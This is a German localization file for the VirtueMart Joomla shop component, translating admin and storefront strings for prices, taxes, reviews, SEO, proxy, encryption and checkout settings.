COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Verkäufer Medien URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL zu den Abbildungen der Verkäufer (Relativ zum Joomla Wurzelverzeichnis. Fügen Sie weder http noch Domain hinzu)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="mehr Kern-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Mehrsprachiger Shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Aktivierung und Auswahl der zu verwendenen Sprachen" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="»Kein Bild vorhanden« Grafik" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="Dies bedeutet, dass kein Bild innerhalb des angegebenen Pfades gefunden wurde" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="»Kein Bild« Grafik" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="Diese Grafik wird angezeigt, wenn kein Artikelbild verfügbar ist." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="Kein Überschreiben" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Status der Bestellung, welcher Downloads deaktiviert" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Legt den Status der Bestellung fest, bei dem der Download für den Käufer deaktiviert ist." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Status der Bestellung, welcher den Download aktiviert" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Wählen Sie den Status der Bestellung fest, bei dem der Käufer über den Download per E-Mail benachrichtigt wird." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Seitenumbruch festlegen" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE_EXPLAIN="Geben Sie eine kommagetrennte Liste für das Seitenlängen-Listenfeld im Frontend ein. Legt fest, in welchen Schritten der Benutzer die Anzahl der angezeigten Produkte auswählen kann.
        Beispiel: 6,12,18,24
        " COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="»PDF« Schaltfläche" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Anzeigen oder Ausblenden der »PDF« Schaltfläche im Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Zeigt eine »Informieren Sie mich« Schaltfläche an" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Funktion abschalten (wie Sperren)" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Dieses Produkt nicht anzeigen, wenn Produktvarianten ebenfalls nicht vorrätig sind" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Nicht vorrätige Produkte sind bestellbar, keine besondere Aktion auslösen" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Nicht vorrätige Produkte sind bestellbar und das Feld 'Verfügbarkeit' wird angezeigt" COM_VIRTUEMART_ADMIN_CFG_PRICES="Folgende Preise anzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Preise inklusive MwSt. anzeigen?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Preis anzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Dezimalstellen für Rundung" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Preisbezeichung anzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Mitgliedergruppe, welcher Preise angezeigt werden" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="Die ausgewählten Mitgliedergruppe und alle Gruppen mit höheren Berechtigungen können die Produktpreise sehen" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Preis auf Anfrage anzeigen, falls kein Preis eingegeben wurde" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="Ermöglicht dem Betrachter des Produkes nach dem Preis zu fragen, falls Sie keinen Preis veröffentlichen möchten" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Grundpreis" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Je nachdem, wo Sie Ihre(n) Gewinn/Gewinnspanne berechnen, ist dies entweder ihr Einstandspreis oder Ihr kalkulierter Preis. Im Frontend wird dieser Preis nur dem Shop-Administrator angezeigt." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="Neuer Grundpreis, modifiziert von der gewählten Produktvariante" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="Der Grundpreis wird von der gewählten Produktvariante modifiziert. Im Frontend wird dieser Preis nur dem Shop-Administrator angezeigt." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Grundpreis inklusive MwSt., aber ohne Preisnachlässe" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="Nützlich, um den alten Preis ohne Preisnachlass anzuzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Preis Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Ermäßigter Preis ohne MwSt." COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="Dies ist für Händler und Kaufleute (B2B) interessant" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Preisnachlassbetrag" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Nützlich für das »Sie sparen X Euro«" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Rappenrundung für Schweizer Franken (CHF) benutzen" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Endverkaufspreis" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="Dies ist der Preis, den Käufer tatsächlich zu zahlen haben" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Verkaufspreis inklusive Preisnachlass, aber ohne Preis-Kalkulationsregel Überschreibung" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="Entspricht dem Verkaufspreis, ausser Sie verwenden die Option »Preis-Kalkulationsregel überschreiben«" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Netto-Verkaufspreis ohne MwSt." COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="Dies ist für Händler und Kaufleute (B2B) interessant" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Preisangaben für die Verpackung anzeigen?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="Falls aktiviert, wird die Preisauszeichnung aus den Werten Produkteinheit und Verpackung abgeleitet" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="MwSt. im Warenkorb anzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="MwSt.-Details im Warenkorb anzeigen" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="MwSt.-Betrag" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Zeigt nur die MwSt." COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="Grundpreis" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="Ein standardisierter Preis für Produkte pro Mengeneinheit, z.B. Preis pro Meter, Liter, Kilogramm" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Grundpreis Modifikator" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="Der Modifikator des Grundpreises in Abhängigkeit der gewählten Produktvariante" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Preisangaben" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Einstellungen Produktsortierung" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Standard Anzahl der Produkte in einer Reihe" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="Definiert die Anzahl der Produkte in einer Reihe.
        " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Produkt-Layout" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="Dies ist das Standard-Layout für die Anzeige von Produktdetails." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Proxy-Passwort" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="Wenn der Proxy eine Authentifizierung erfordert, tragen Sie hier bitte das korrekte Passwort ein." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Proxy Port" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="Der für die Kommunikation mit dem Proxy-Server benutzte Port (meist 80 oder 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Allgemeine Proxy-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL des Proxy-Servers" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Beispiel" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Proxy Benutzername" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="Wenn der Proxy eine Authentifizierung erfordert, tragen Sie hier bitte Ihren Benutzernamen ein." COM_VIRTUEMART_ADMIN_CFG_RATING="Aktivieren Bewertungssystem für" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="Falls aktiviert, erlauben Sie Käufern, die Produkt Bewertung zu sehen." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Alle" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Käufer, die das Produkt gekauft haben" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Deaktiviert" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registrierten" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Bewertung anzeigen" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="Jedem anzeigen" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="Falls aktiviert, erlauben Sie Käufern, die Produkte zu bewerten." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="Keine" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="Registrierten Benutzern" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS="Reihen für kürzlich aufgerufene" COM_VIRTUEMART_ADMIN_CFG_REC_PROD_ROWS_EXPL="Bestimmt die Anzahl der Reihen für kürzlich aufgerufene Produkte." COM_VIRTUEMART_ADMIN_CFG_REVIEW="Aktiviere Rezensions-System für" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="Falls aktiviert, erlauben Sie Käufern, Produkte zu bewerten und Rezensionen zu schreiben
        " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Kommentar Maximale Länge" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="Dies ist die maximale Anzahl der Zeichen, die von einem Käufer in einem Kommentar geschrieben werden können." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Kommentar Mindestlänge" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="Dies ist die Mindestanzahl der Zeichen, die von einem Käufer geschrieben werden müssen, bevor die Rezension eingereicht werden kann." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Alle" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Käufern, die das Produkt gekauft haben" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Deaktiviert" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="Registrierten Benutzern" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Rezension anzeigen" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Jedem anzeigen" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="Falls aktiviert, erlauben Sie Käufern, Rezensionen über die Produkte zu lesen." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Nicht anzeigen" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Registrierten Benutzern anzeigen" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Käufer Rezensionss/Bewertungs-System" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO deaktiviert" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="Falls ausgewählt, ist SEO deaktiviert. Falls nicht ausgewählt, ist SEO aktiviert." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Aktiviere VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Aktiviere die VirtueMart router.php" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="SEO-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="SEO Suffix" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="SEO Suffix, welches am Ende der Produkt-URLs angefügt wird" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Strings übersetzen" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="Falls aktiviert, verwendet die URL die Sprachdatei für die VirtueMart Zeichenketten in der URL. Andernfalls werden die URLs mit Standard-Zeichenketten erzeugt." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Produkt-und Kategorie-IDs verwenden" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="Falls aktiviert, wird die Produkt-ID und die Kategorie-ID in der URL hinzugefügt. Andernfalls enthält die URL nur den Produktnamen oder den Kategorienamen" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Shopfront" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Shopfront Einstellungen" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Shop" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Erweiterte Einstellungen" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="E-Mail Einstellungen" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Spracheinstellungen" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Shop ist offline?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Offline-Mitteilung" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="Wenn Sie dieses Kontrollkästchen auswählen, wird der Shop eine Offline-Mitteilung anzeigen." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Shop-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Fußzeile anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Zeigt ein powered-by-VirtueMart Logo in der Fußzeile" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Kategorien anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="Falls ausgewählt, werden die Produktkategorien auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Unterkategorien anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="Falls aktiviert, werden Unterkategorien in der Kategorieansicht sowie der Produktansicht angezeigt." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Aktionen anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="Falls ausgewählt, werden Aktionsprodukte auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Neueste Produkte anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="Falls ausgewählt, werden die neuesten Produkte auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Hersteller anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="Falls aktiviert, werden die Hersteller angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Produkte anzeigen, die nicht vorrätig sind" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="Falls aktiviert, werden Produkte, die derzeit nicht vorrätig sind angezeigt. Ansonsten sind solche Produkte verborgen." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Preise anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Auswählen, um Preise anzuzeigen. (Bei Nutzung der Katalog-Funktion möchten manche Shop Betreiber die Preise verbergen)" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Anzeige kürzlich aufgerufene" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="Falls ausgewählt, werden kürzlich aufgerufene Produkte auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Shop Beschreibung anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="Falls ausgewählt, wird die Shop Beschreibung auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Top-Ten Produkte anzeigen" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="Falls ausgewählt, werden Top-Ten Produkte auf der VirtueMart Startseite angezeigt" COM_VIRTUEMART_ADMIN_CFG_SSL="Aktivieren Sie SSL für sensible Bereiche (empfohlen)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="Dies zwingt joomla für die Links in den Warenkorb und den Benutzerdaten-Bereich SSL zu verwenden. Achten Sie darauf, die richtigen joomla Einstellungen für die Benutzerverwaltung, die anonymen Bestellungen und das Einloggen zu verwenden." COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Standard-Bestellstatus, bei welchem eine Rechnung versendet" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_EXPLAIN="Standard-Bestellstatus, bei welchem eine Rechnung versendet wird. Kann durch die Zahlungsart überschrieben werden" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="System" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="System-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Stilvorlagen" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Minibild Höhe" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="Gewünschte Höhe des erstellten Minibildes." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Minibild Breite" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="Gewünschte Breite des erstellten Minibildes." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titel und Berufsbezeichnungen" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Verwendete Titel und Berufsbezeichnungen" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Aktivieren Sie die Datenbank Aktualisierungs-Werkzeuge. Diese Werkzeuge sind für die Entwickler gedacht und können Ihren Shop komplett unbrauchbar machen. Bitte nutzen Sie sie mit Vorsicht." COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Reihen für Top-Ten" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="Bestimmt die Anzahl der Reihen für Top-Ten Produkte." COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="Benutzer Registrierungs-Einstellungen" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Nur als Katalog verwenden" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="Falls ausgewählt, deaktivieren Sie alle Warenkorb-Funktionen" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION="Verschlüsselungs-Funktion" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION_TIP="Hier können Sie die Verschlüsselungs-Funktion auswählen, die verwendet werden, um sensible Informationen zu verschlüsseln, bevor sie in der Datenbank gespeichert werden. AES_ENCRYPT wird empfohlen, weil es ziemlich sicher ist. ENCODE bietet keine echte Verschlüsselung." COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY="Verschlüsselungscode" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY_TIP="Wird verwendet, um sicher einzukaufen und sensible Daten (wie Kreditkarten-Informationen) aus der Datenbank abzufragen." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Nur registrierte Benutzer können auschecken" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="Diese Option erlaubt nur registrierten Benutzern die Kassenfunktion zu nutzen. Sie sollten die Option 'Beim Auschecken um Registrierung bitten' aktiviert haben." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Anzeige der Informationen über Rückgaberecht auf der Auftragsbestätigungs-Seite?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Shop-Betreiber sind in den meisten europäischen Ländern gesetzlich verpflichtet, ihre Käufer über Rücksendungs- und Stornierungsbedingungen zu informieren. Im Regelfall sollte dieses deshalb aktiviert werden." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Produktabbildungen anzeigen" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Minibilder der Produktabbildungen im Warenkorb anzeigen - kann eventuell Ihr Layout durcheinander bringen." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="Beim Auschecken um Registrierung bitten" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="Der Kunde kann sich während des Bestellvorgangs registrieren" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Zeige Schritte beim Checkout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Vor der Registrierungsseite anzuzeigender Text" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Konfiguration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Informationen zur Zahlungsart" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Sicherheitseinstellungen" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Konfiguration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Versandart Informationen" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Den »Einem Freund empfehlen« Link anzeigen?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="Falls aktiviert, wird ein Link angezeigt, der dem Käufer ermöglicht, eine Empfehlungs-E-Mail für ein bestimmtes Produkt zu senden." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Den Druckansicht-Link anzeigen?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="Falls aktiviert, wird ein Link angezeigt, der die aktuelle Seite in einem neuen Popup-Fenster zum Ausdrucken öffnet." COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Kreditkarten-Information speichern?
        (Sicherheitsrisiko bedenken!)" COM_VIRTUEMART_ADMIN_UPDATES="Aktualisierungen" COM_VIRTUEMART_ADVANCED_SEARCH="Erweiterte Suche" COM_VIRTUEMART_AD_ACY="Falls Sie eine komplexere Lösung zum Versand von E-Mails benötigen, ist eventuell diese etwas für Sie:
        %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (hohe Sicherheit)" COM_VIRTUEMART_AGREE_TO_TOS="Bitte stimmen Sie zuerst unseren Allgemeinen Geschäftsbedingungen zu." COM_VIRTUEMART_AJAX_CART_WAITING="Bitte warten. Aktualisiere Warenkorb..." COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s Produkte" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 Produkt" COM_VIRTUEMART_ALL="Alle" COM_VIRTUEMART_APPLY="Anwenden" COM_VIRTUEMART_ASEND_MSG="Hallo %s, Ein neuer Benutzer hat sich bei %s registriert. Diese E-Mail enthält die Details" COM_VIRTUEMART_ASKQU_CS_MAX="zu lang" COM_VIRTUEMART_ASKQU_CS_MIN="Minimum noch nicht erreicht" COM_VIRTUEMART_ASKQU_INV_MAIL="Angegebene E-Mail Adresse ist ungültig" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Maximale Länge der Frage" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Die maximal zulässige Länge einer gestellten Frage" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Mindestlänge der Frage" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Die zulässige Mindestlänge für eine gestellte Frage" COM_VIRTUEMART_ASK_QUESTION_SHOW="Den 'Stellen Sie eine Frage zu diesem Produkt' Link anzeigen?" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="Falls aktiviert, wird in der Produktbeschreibung ein Link angezeigt, der ein Popup-Fenster öffnet, welches es dem Kunden ermöglicht, eine Frage an den Verkäufer zu stellen" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Zonen zuweisen" COM_VIRTUEMART_ATTRIBUTES="Eigenschaften" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Eigenschaft Name" COM_VIRTUEMART_AVAILABILITY="Verfügbarkeit" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Wird angezeigt, wenn nicht vorrätige Produkte für Kunden bestellbar sind" COM_VIRTUEMART_AVAILABLE_IMAGES="Verfügbare Abbildungen für" COM_VIRTUEMART_BACK="Zurück" COM_VIRTUEMART_BACK_TO_DETAILS="Zurück zu den Produktdetails" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Standard Kategorie-Sortierung" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Bestimmt, nach welchem Feld Kategorien standardmäßig auf den Übersichts-Seiten sortiert werden" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Standard Produkt-Sortierreihenfolge" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Definiert, nach welchem Feld die Produkte standardmäßig auf den Übersichtsseiten sortiert werden" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Produkt-Sortierreihenfolge Einstellungen" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Verfügbare »Sortieren nach« Felder" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Wählen Sie die »Sortieren nach« Felder für die Übersichtsseite. Jedes einzelne bestimmt eine Sortierungs-Methode für die Produkt-Übersichtsseite. Wenn Sie alle Markierungen löschen, wird das »Sortieren nach« Auswahlformular nicht angezeigt." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Verfügbare Suchfelder" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Wählen Sie die »Suchen nach« Felder für die Übersichtsseite. Jedes einzelne bestimmt eine Suchmethode für die Produkt-Übersichtsseite. Wenn Sie alle Markierungen löschen, wird das »Suchen nach« Auswahlformular nicht angezeigt." COM_VIRTUEMART_BROWSE_VENDOR_LBL="Von" COM_VIRTUEMART_BUTTON_LOGIN="Einloggen" COM_VIRTUEMART_BUTTON_LOGOUT="Ausloggen" COM_VIRTUEMART_BUTTON_SEND_REG="Registrierung absenden" COM_VIRTUEMART_CALC="Steuer & Rechenregel" COM_VIRTUEMART_CALC_DETAILS="MwSt. & Kalkulationsregel Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Preismodifikator nach Steuern" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Preismodifikator nach Steuern pro Rechnung" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Preismodifikator vor Steuern" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Preismodifikator vor Steuern pro Rechnung" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Preismodifikator für Gewinnspanne" COM_VIRTUEMART_CALC_EPOINT_TAX="Steuer pro Produkt" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="MwSt. pro Rechnung" COM_VIRTUEMART_CALC_EPOINT_VATTAX="MwSt pro Produkt" COM_VIRTUEMART_CALC_KIND="Rechenart" COM_VIRTUEMART_CALC_LOCATION="Länder" COM_VIRTUEMART_CALC_NAME="Rechenregel Bezeichnung" COM_VIRTUEMART_CALC_S="Steuern & Rechenregeln" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Unsichtbar für Käufer" 